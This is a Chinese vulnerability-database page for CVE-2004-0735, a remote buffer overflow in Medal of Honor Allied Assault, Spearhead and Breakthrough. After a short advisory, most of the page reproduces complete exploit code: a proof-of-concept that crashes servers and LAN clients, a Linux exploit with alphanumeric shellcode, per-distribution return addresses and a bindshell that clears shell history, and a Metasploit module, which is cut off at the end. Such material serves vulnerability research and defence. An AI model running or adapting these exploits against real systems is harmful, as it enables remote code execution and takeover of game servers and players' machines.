CVE-2004-0735
CVSS7.5
发布时间 :2004-07-27 00:00:00
修订时间 :2016-10-17 22:48:26
NMCOEP    

[原文]Buffer overflow in Medal of Honor (1) Allied Assault 1.11v9 and earlier, (2) Breakthrough 2.40b and earlier, and (3) Spearhead 2.15 and earlier, when playing on a Local Area Network (LAN), allows remote attackers to execute arbitrary code via vectors such as (1) the getinfo query, (2) the connect packet, and other unknown vectors.


[CNNVD]Medal of Honor(1) Allied Assault(2) Breakthrough(3) Spearhead缓冲区溢出漏洞(CNNVD-200407-044)

        当在局域网运行时,Medal of Honor(1) Allied Assault 1.11v9 及其早期版本(2) Breakthrough 2.40b及其早期版本(3) Spearhead 2.15 及其早期版本存在缓冲区溢出漏洞。远程攻击者借助向量如(1)getinfo查询,(2)connect 数据包和其他未知的向量执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:electronic_arts:medal_of_honor_allied_assault:1.1
cpe:/a:electronic_arts:medal_of_honor_allied_assault:1.11_v9
cpe:/a:electronic_arts:medal_of_honor_allied_assault:spearhead_2.15
cpe:/a:electronic_arts:medal_of_honor_allied_assault:breakthrough_2.40_b
cpe:/a:electronic_arts:medal_of_honor_allied_assault:1.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0735
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-0735
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200407-044
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=109008314631518&w=2
(UNKNOWN)  BUGTRAQ  20040717 Medal of Honor remote buffer-overflow
http://www.securityfocus.com/bid/10743
(VENDOR_ADVISORY)  BID  10743
http://xforce.iss.net/xforce/xfdb/16715
(VENDOR_ADVISORY)  XF  medalofhonor-packet-bo(16715)

- 漏洞信息

Medal of Honor(1) Allied Assault(2) Breakthrough(3) Spearhead缓冲区溢出漏洞
高危 缓冲区溢出
2004-07-27 00:00:00 2005-10-20 00:00:00
远程  
        当在局域网运行时,Medal of Honor(1) Allied Assault 1.11v9 及其早期版本(2) Breakthrough 2.40b及其早期版本(3) Spearhead 2.15 及其早期版本存在缓冲区溢出漏洞。远程攻击者借助向量如(1)getinfo查询,(2)connect 数据包和其他未知的向量执行任意代码。

- 公告与补丁

        

- 漏洞信息 (357)

Medal of Honor Remote Buffer Overflow Vulnerability (EDBID:357)
windows dos
2004-07-20 Verified
0 Luigi Auriemma
N/A [点击下载]
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
    #include <winsock.h>
    #include <io.h>
    #include <malloc.h>
    #include "winerr.h"

    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
#endif



#define VER         "0.1"
#define BUFFSZ      4096
#define PORT        12203
#define TIMEOUT     3
#define INFO        "\xff\xff\xff\xff\x02" "getinfo xxx\n"
#define BOFWIN      "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaa" "\xde\xc0\xad\xde"  // EIP deadc0de
#define BOFLINUX    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaa" "\xde\xc0\xad\xde"  // EIP deadc0de
#define SVBOF       "\xff\xff\xff\xff\x02" "getinfo %s\n"
#define CLBOF       "\xff\xff\xff\xff" \
                    "\x01" \
                    "infoResponse\n" \
                    "\\pure\\0" \
                    "\\gametypestring\\Free-For-All" \
                    "\\gametype\\1" \
                    "\\sv_maxclients\\16" \
                    "\\clients\\0" \
                    "\\mapname\\DM/mohdm1" \
                    "\\hostname\\myserver" \
                    "\\protocol\\8" \
                    "\\crash\\" BOFWIN \
                    "\\challenge\\xxx"




void showinfostring(u_char *buff, int size);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    int         sd,
                len,
                psz,
                on = 1,
                type;
    u_short     port = PORT;
    u_char      buff[BUFFSZ + 1];
    struct  sockaddr_in peer;


    setbuf(stdout, NULL);

    fputs("\n"
        "Medal of Honor buffer-overflow "VER"\n"
        "  Vulnerables: AA <= 1.11v9, SH <= 2.15, BT <= 2.40b\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\nUsage: %s <attack> [port(%d)]\n"
            "\n"
            "Attack:\n"
            " c = LAN clients buffer-overflow. It cannot work online because online is\n"
            "     used the Gamespy protocol that is not affected by this bug\n"
            " s = server buffer-overflow: you can test this PoC versus a specific server.\n"
            "     You must add the IP or the hostname of the server after the 's'.\n"
            "     The PoC first tests the overflow for Win32 servers and then for Linux\n"
            "     that requires more data for overwriting the return address\n"
            "\n"
            "Some usage examples:\n"
            "  mohaabof c                      listens on port %d for clients\n"
            "  mohaabof c 1234                 listens on port 1234\n"
            "  mohaabof s 192.168.0.1          tests the server 192.168.0.1 on port %d\n"
            "  mohaabof s 192.168.0.1 1234     tests the server 192.168.0.1 on port 1234\n"
            "\n"
            "The return address of the vulnerable hosts will be ever overwritten by the\n"
            "offset 0xdeadc0de\n"
            "\n", argv[0], PORT, PORT, PORT);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif    

    type = argv[1][0];
    if((type != 'c') && (type != 's')) {
        fputs("\n"
            "Error: Wrong type of attack.\n"
            "       You can choose between 2 types of attacks, versus clients with 'c' or\n"
            "       versus servers with 's'\n"
            "\n", stdout);
        exit(1);
    }
    if(type == 's') {
        if(!argv[2]) {
            fputs("\n"
                "Error: you must specify the server IP or hostname.\n"
                "       Example: mohaabof s localhost\n"
                "\n", stdout);
            exit(1);
        }
        peer.sin_addr.s_addr = resolv(argv[2]);
        if(argc > 3) port = atoi(argv[3]);
        printf("\n- Target   %s:%hu\n\n",
            inet_ntoa(peer.sin_addr),
            port);
    } else {
        peer.sin_addr.s_addr = INADDR_ANY;
        if(argc > 2) port = atoi(argv[2]);
        printf("\n- Listening on port %d\n", port);
    }

    peer.sin_port   = htons(port);
    peer.sin_family = AF_INET;
    psz             = sizeof(peer);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    if(type == 's') {
        fputs("- Request informations\n", stdout);
        if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, psz)
          < 0) std_err();
        if(timeout(sd) < 0) {
            fputs("\nError: socket timeout, probably the server is not online\n\n", stdout);
            exit(1);
        }
        len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
        if(len < 0) std_err();
        buff[len] = 0x00;

        showinfostring(buff, len);

        printf("- Send BOOM packet for the Windows version (data: %d, EIP: 0xdeadc0de)\n",
            sizeof(BOFWIN) - 1);
        len = sprintf(buff, SVBOF, BOFWIN);
        if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, psz)
          < 0) std_err();

        if(timeout(sd) < 0) {
            fputs("\nServer IS vulnerable!!!\n\n", stdout);
        } else {
            if(recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL)
              < 0) std_err();
            fputs("- Server doesn't seem to be vulnerable, It is probably a Linux server\n", stdout);
            printf("- Send BOOM packet for the Linux version (data: %d, EIP: 0xdeadc0de)\n",
                sizeof(BOFLINUX) - 1);
            len = sprintf(buff, SVBOF, BOFLINUX);
            if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, psz)
              < 0) std_err();
            if(timeout(sd) < 0) {
                fputs("\nServer IS vulnerable!!!\n\n", stdout);
            } else {
                len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
                if(len < 0) std_err();
                buff[len] = 0x00;
                printf("\n"
                    "Server doesn't seem to be vulnerable, the following is the answer received:\n"
                    "\n%s\n\n", buff);
            }
        }
    } else {
        if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
          < 0) std_err();
        if(bind(sd, (struct sockaddr *)&peer, psz)
          < 0) std_err();
        fputs("Clients (EIP will be overwritten by 0xdeadc0de):\n", stdout);
        while(1) {
            len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
            if(len < 0) std_err();
            buff[len] = 0x00;

            printf("%16s:%hu -> %s\n",
                inet_ntoa(peer.sin_addr),
                ntohs(peer.sin_port),
                buff);

            if(sendto(sd, CLBOF, sizeof(CLBOF) - 1, 0, (struct sockaddr *)&peer, psz)
              < 0) std_err();
        }
    }

    close(sd);
    return(0);
}





void showinfostring(u_char *buff, int size) {
    int     nt = 1,
            len;
    u_char  *string;

    len = strlen(buff);
    if(len < size) buff += len + 1;

    while(1) {
        string = strchr(buff, '\\');
        if(!string) break;

        *string = 0x00;

        /* \n or \t */
        if(!nt) {
            printf("%30s: ", buff);
            nt++;
        } else {
            printf("%s\n", buff);
            nt = 0;
        }
        buff = string + 1;
    }

    printf("%s\n\n", buff);
}




int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}




u_long resolv(char *host) {
    struct  hostent *hp;
    u_long  host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)(hp->h_addr);
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

///////////////////////////////////////////////////////////////////////////////////////

//winerr.h
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}

// milw0rm.com [2004-07-20]
		

- 漏洞信息 (826)

Medal of Honor Spearhead Server Remote Buffer Overflow (Linux) (EDBID:826)
linux remote
2005-02-18 Verified
12203 millhouse
N/A [点击下载]
/* -------------------------------------------------------------------------------------------------
Remote buffer overflow exploit for Medal of Honor Spearhead Dedicated Server (Linux)
----------------------------------------------------------------------------------------------------


earthangel:/home/millhouse# ./mohexp -h 127.0.0.1 -p 12203 -t 1
===================================================
Medal of Honor Spearhead Dedicated server for Linux
Remote buffer overflow exploit millhouse@IRCnet
===================================================
[-] Found Spearhead 2.15 (Linux)
[-] Target: 0xbfff30f0 Debian 3.0
[-] Sending buffer...
[-] Trying to reach bindshell...

Linux earthangel 2.4.28 #1 SMP Sat Dec 25 23:50:47 CET 2004 i686 unknown
uid=1001(spearhead) gid=1000(users) groups=1000(users)


Affected versions:
------------------
This exploit was tested with Spearhead 2.15. Its the latest version and this
is the most used one. Versions lower than 2.15 are vulnerable too.

Also vulnerable:

- Allied Assault 1.11v9 and below
- Breakthrough 2.40b and below

Background:
-----------
This bug was original discovered by Luigi Auriemma in Summer 2004.
Read http://aluigi.altervista.org/adv/mohaabof-adv.txt for further
informations.

The main problem exploiting this bug is that the Medal of Honor
server is filtering a couple of characters what makes it impossible
to bring up some classical shellcode with the buffer. The only way
to make code execution possible is an alphanumeric shellcode.

Other problem is that the return address must point exactly to the
beginning of the shellcode decoder. We fixed that with a little
workaround and are now able to jump in a range of no operation
instructions. Anyway, we can't bruteforce any offsets here cause
we're exploiting the main thread so there is just one shot ;)

Note:
-----
This is a proof of concept exploit. I guess bindshells are out of date
in fact that nearly every server should be firewalled today. A connect
back shell needs individual changes like the IP and port that means u
have to compile the alpha shellcode completely new and fit it into the
buffer. Have fun dealing with this issue :)



- Thanx to nul for some assembler lessons.
- Thanx to rix@phrack for his shellcode compiler.
- Thanx to servie, error` and zakx for making different platforms available.


-------------------------------------------------------------------------------------
Everytime you spank the monkey, god kills a kitten!!
------------------------------------------------------------------------------------- */

#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <getopt.h>

char inforeq[] = "\xff\xff\xff\xff\x02"
"\x67\x65\x74\x69\x6E\x66\x6F\x20";

char statusreq[] = "\xff\xff\xff\xff\x02"
"\x67\x65\x74\x73\x74\x61\x74\x75\x73\x20\x78\x78\x78\x5C\x6E";

char findme[] = "\x33\xc9\x81\xe9\x2d\xff\xff\xff\x8b\xd4\xf7\xda\x2b\xca\x90"
"\x90\x90\x90\x90";

char shellcode[] = "h6UcnX56UcnHTTPPSQPPaVRVUWBfRJfhTdfXf50efPDfh99DRUaA0TkahOzg"
"WY1Lkb1tkbfhZufXf1Dkff1tkfjmY0Lkij2X0Dkj0tkjj3Y0LkkjLX0Dkl0T"
"kljbX0DknjEY0Lkp0Tkpf1tkqhNNAvY1Lks1TksjSY0Lkw0tkwjeX0DkyjgX"
"0Dkz0TkzC0TkzCjAX0DkzCf1tkzCCjfY0Lkz0tkzCCj5Y0Lkz0TkzCjUX0Dk"
"zCC0TkzCCfhQofYf1LkzCCjrX0DkzC0TkzCfhn2fYf1Lkzf1TkzCCC0tkzCj"
"cY0Lkz0TkzC0tkzCjPX0Dkz0TkzCjRX0DkzCjfX0Dkz0TkzC0TkzCjGX0Dkz"
"C0tkzCjpX0Dkz0TkzC0tkzCjkY0Lkz0tkzCjbX0DkzCCCjKY0Lkz0tkzC0tk"
"zCCjMY0LkzC0tkzCj4X0DkzCjCY0Lkz0tkzC0tkzCjrX0DkzC0tkzCCjaY0L"
"kzCjgY0Lkz0tkzC0TkzCCCjsX0Dkz0tkzCf1tkzCC0tkzCfhjvfXf1Dkzf1t"
"kzCCCCjkY0LkzCjIY0Lkz0tkzCCCj9X0DkzC0tkzCfhnQfXf1Dkzf1tkzCCj"
"5X0DkzC0tkzCfha4fXf1Dkzf1TkzCCjHX0DkzC0TkzCfhY4fYf1Lkzf1TkzC"
"CjeY0Lkz0TkzCjPX0DkzCjBX0Dkz0TkzC0TkzCjmX0Dkz0TkzCjPY0Lkz363"
"lsqKStI9h2sqPAC52ZBkXaEwvBnA96ipCN6m3aVKoGtFfvHOSOTbcMxqJTbm"
"dbORgtG5JxbqJOnAluMqJr4EzbVEKJwJi7fsoCHSfKJqJ";
struct {

char *type;
unsigned long ret;

} targets[] = {
{ "Debian 3.0", 0xbfff30f0 },
{ "Debian 3.1", 0xbfff2c90 },
{ "SuSE 8.1 ", 0xbfff2a90 },
{ "SuSE 9.0 ", 0xbfff2b30 }, // worx also for 8.2 fine
{ "Fedora 1 ", 0xbfff2da0 },
{ "Crash ", 0xdeadbeef },
};

void usage(char *proc)
{

int i;

fprintf(stderr, "Usage: %s <-h host> <-p port> <-t target>\n\n", proc);
fprintf(stderr, "Available targets:\n------------------\n");

for(i=0;i<6;i++)
fprintf(stdout, "%2d. %s [0x%08x]\n", i +1,
targets[i].type, (unsigned int) targets[i].ret);
fprintf(stderr, "\n");
exit(1);
}

int getinfo(char *host, int port)
{
int sockfd;
int version = -1;
char buffer[512];
struct sockaddr_in addr;
struct hostent *hp;

if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) <0){
perror("can't open datagram\n");
exit(1);
}

if((hp = gethostbyname(host)) == 0){
perror("gethostbyname\n");
exit(1);
}

bzero((char *)&addr, sizeof(addr));
addr.sin_family = AF_INET;
bcopy((char *)hp->h_addr, (char *)&addr.sin_addr, hp->h_length);
addr.sin_port = htons(port);

if(sendto(sockfd, statusreq, strlen(statusreq) * sizeof(char), 0,
(struct sockaddr *)&addr, sizeof(addr)) <0){
perror("sendto\n");
exit(1);
}
usleep(70000);

if(read(sockfd, buffer, sizeof(buffer)-1) <0){
perror("read\n");
exit(1);
}

if(strstr(buffer, "linux-i386")){
version = 0;
}

return version;
}

int shell(char *host)
{
fd_set fd_read;
char buffer[2048];
char *cmd = "unset HISTFILE;uname -a;id;\n";
int n, port = 6000;
int sockfd;
struct sockaddr_in addr;
struct hostent *hp;

hp = gethostbyname(host);

if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) <0){
perror("can't open socket\n");
exit(1);
}

bzero((char *)&addr, sizeof(addr));
addr.sin_family = AF_INET;
bcopy((char *)hp->h_addr, (char *)&addr.sin_addr, hp->h_length);
addr.sin_port = htons(port);

if(connect(sockfd, (struct sockaddr *)&addr, sizeof(addr))<0){
printf("[-] Connect to bindshell failed\n");
return -1;
}

FD_ZERO(&fd_read);
FD_SET(sockfd, &fd_read);
FD_SET(0, &fd_read);

send(sockfd, cmd, strlen(cmd), 0);

while(1) {
FD_SET(sockfd, &fd_read);
FD_SET(0, &fd_read);

if(select(sockfd+1, &fd_read, NULL, NULL, NULL)<0)
break;

if( FD_ISSET(sockfd, &fd_read) ){
if((n = recv(sockfd, buffer, sizeof(buffer), 0))<0){
fprintf(stderr, "EOF\n");
exit(2);
}
if(write(1,buffer, n)<0)
break;
}

if ( FD_ISSET(0, &fd_read) ) {
if((n = read(0,buffer, sizeof(buffer)))<0){
fprintf(stderr,"EOF\n");
exit(2);
}
if(send(sockfd, buffer, n, 0)<0)
break;
}

usleep(10);

}
fprintf(stderr,"Connection lost.\n");
exit(0);
}

int exploit(char *host, int port, int target)
{
int sockfd;
char buffer[1046];
char retaddr[4];
struct sockaddr_in addr;
struct hostent *hp;

if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) <0){
perror("can't open datagram\n");
exit(1);
}

hp = gethostbyname(host);
bzero((char *)&addr, sizeof(addr));
addr.sin_family = AF_INET;
bcopy((char *)hp->h_addr, (char *)&addr.sin_addr, hp->h_length);
addr.sin_port = htons(port);

retaddr[0] = (targets[target-1].ret & 0x000000ff);
retaddr[1] = (targets[target-1].ret & 0x0000ff00)>>8;
retaddr[2] = (targets[target-1].ret & 0x00ff0000)>>16;
retaddr[3] = (targets[target-1].ret & 0xff000000)>>24;

memset(buffer, 0x00, sizeof(buffer));
memcpy(buffer, inforeq, 13);
memset(buffer+13, 0x90, 138);
memcpy(buffer+151, findme, strlen(findme));
memcpy(buffer+170, shellcode, strlen(shellcode));
memset(buffer+995, 0x90, 42);
memcpy(buffer+1037, retaddr, 4);
memcpy(buffer+1041, retaddr, 4);
buffer[1046] = '\n';

if(sendto(sockfd, buffer, strlen(buffer) * sizeof(char), 0,
(struct sockaddr *)&addr, sizeof(addr)) <0){
perror("sendto\n");
exit(1);
}
usleep(7000);
printf("[-] Trying to reach bindshell...\n\n");
}

int main(int argc, char *argv[])
{
char host[256];
int opt, port;
int ver, stat;
int target = 0;
int pid;

fprintf(stdout, "===================================================\n");
fprintf(stdout, "Medal of Honor Spearhead Dedicated server for Linux\n");
fprintf(stdout, "Remote buffer overflow exploit millhouse@IRCnet\n");
fprintf(stdout, "===================================================\n");

memset(host, 0x00, sizeof(host));
while((opt = getopt(argc, argv, "h:p:t:")) != EOF)
{
switch(opt)
{
case 'h':
strncpy(host, optarg, sizeof(host)-1);
break;

case 'p':
port = atoi(optarg);
if((port<=0) || (port > 65535)){
fprintf(stderr, "[-] Specified port invalid\n");
return(-1);
}
break;

case 't':
target = atoi(optarg);
if ((target<1) || (target>6))
usage(argv[0]);
break;

default:
usage(argv[0]);
break;
}
}
if (strlen(host) == 0) usage(argv[0]);

ver = getinfo(host, port);

if(ver<0){
fprintf(stderr, "[-] Remote server is not a Spearhead 2.15\n");
fprintf(stderr, "[-] server or its running under Windows\n");
}
else {
printf("[-] Found Spearhead 2.15 (Linux)\n");
printf("[-] Target: 0x%08x ", (unsigned int) targets[target-1].ret);
printf("%s\n", targets[target-1].type);
printf("[-] Sending buffer...\n");

exploit(host, port, target);
sleep(3);
shell(host);
}

fprintf(stderr, "[-] Leaving...\n");
}

// milw0rm.com [2005-02-18]
		

- 漏洞信息 (16695)

Medal Of Honor Allied Assault getinfo Stack Buffer Overflow (EDBID:16695)
windows remote
2010-05-09 Verified
12203 metasploit
N/A [点击下载]
##
# $Id: mohaa_getinfo.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Medal Of Honor Allied Assault getinfo Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack based buffer overflow in the getinfo
				command of Medal Of Honor Allied Assault.
			},
			'Author'         => [ 'Jacopo Cervini' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2004-0735'],
					[ 'OSVDB', '8061' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/357'],
					[ 'BID', '10743'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 512,
					'BadChars' => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Medal Of Honor Allied Assault v 1.0 Universal', { 'Rets' => [ 111, 0x406957 ] }], # call ebx
				],
			'DisclosureDate' => 'Jul 17 2004',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(12203)
			], self.class)
	end

	def exploit
		connect_udp

		# We should convert this to metasm - Patrick
		buf = 'B' * target['Rets'][0]
		buf << "\x68\x76\x76\x76\x76"*9   	# PUSH 76767676 x 9
		buf << "\x68\x7f\x7f\x7f\x7f"     	# PUSH 7F7F7F7F
		buf << "\x57"			    	# PUSH EDI
		buf << "\x58"			    	# POP EAX
		buf << "\x32\x64\x24\x24"	    	# XOR AH,BYTE PTR SS:[ESP+24]
		buf << "\x32\x24\x24"		    	# XOR AH,BYTE PTR SS:[ESP]
		buf << "\x48"*150			    	# DEC EAX x 150
		buf << "\x50\x50"			    	# PUSH EAX x 2
		buf << "\x53"				# PUSH EBX
		buf << "\x58"				# POP EAX
		buf << "\x51"				# PUSH ECX
		buf << "\x32\x24\x24"			# XOR AH,BYTE PTR SS:[ESP]
		buf << "\x6a\x7f"				# PUSH 7F
		buf << "\x5e"				# POP ESI
		buf << "\x46"*37				# INC ESI
		buf << "\x56"*10				# PUSH ESI
		buf << "\x32\x44\x24\x24"		# XOR AL,BYTE PTR SS:[ESP+24]
		buf << "\x49\x49"				# DEC ECX
		buf << "\x31\x48\x34"			# XOR DWORD PTR DS:[EAX+34],ECX
		buf << "\x58"*11				# POP EAX
		buf << "\x42"*66
		buf << "\x3c"*4
		buf << "\x42"*48
		buf << [ target['Rets'][1] ].pack('V')

		req = "\xff\xff\xff\xff\x02" + "getinfo " + buf
		req << "\r\n\r\n" + make_nops(32) + payload.encoded

		udp_sock.put(req)

		handler
		disconnect_udp
	end

end
		

- 漏洞信息 (F82984)

Medal Of Honor Allied Assault getinfo Stack Overflow (PacketStormID:F82984)
2009-11-26 00:00:00
Jacopo Cervini  metasploit.com
exploit,overflow
CVE-2004-0735
[点击下载]

This Metasploit module exploits a stack based buffer overflow in the getinfo command of Medal Of Honor Allied Assault.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Medal Of Honor Allied Assault getinfo Stack Overflow',
			'Description'    => %q{
							This module exploits a stack based buffer overflow in the getinfo
							command of Medal Of Honor Allied Assault.
			},
			'Author'         => [ 'Jacopo Cervini' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2004-0735'],
					[ 'OSVDB', '8061' ],
